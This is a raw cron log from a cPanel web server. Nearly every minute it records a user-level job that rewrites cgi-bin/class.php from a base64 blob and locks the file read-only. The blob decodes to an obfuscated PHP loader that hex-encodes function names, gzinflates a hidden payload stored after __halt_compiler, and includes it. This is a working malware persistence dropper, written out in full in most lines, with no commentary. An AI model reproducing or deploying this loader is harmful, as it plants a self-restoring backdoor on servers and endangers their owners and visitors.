Nov 15 15:02:01 server CROND[5249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:03:01 server CROND[5523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:04:01 server CROND[5802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:05:01 server CROND[6179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:05:01 server CROND[6180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:05:01 server CROND[6181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:05:01 server CROND[6182]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 15:06:01 server CROND[6523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:07:01 server CROND[6842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:08:01 server CROND[7113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:09:01 server CROND[7409]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 15:09:01 server CROND[7408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:10:01 server CROND[7783]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 15:10:01 server CROND[7785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:10:01 server CROND[7784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:10:01 server CROND[7786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:11:01 server CROND[8103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:12:01 server CROND[8364]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 15:12:01 server CROND[8365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:13:01 server CROND[8663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:14:01 server CROND[9033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:15:01 server CROND[9404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
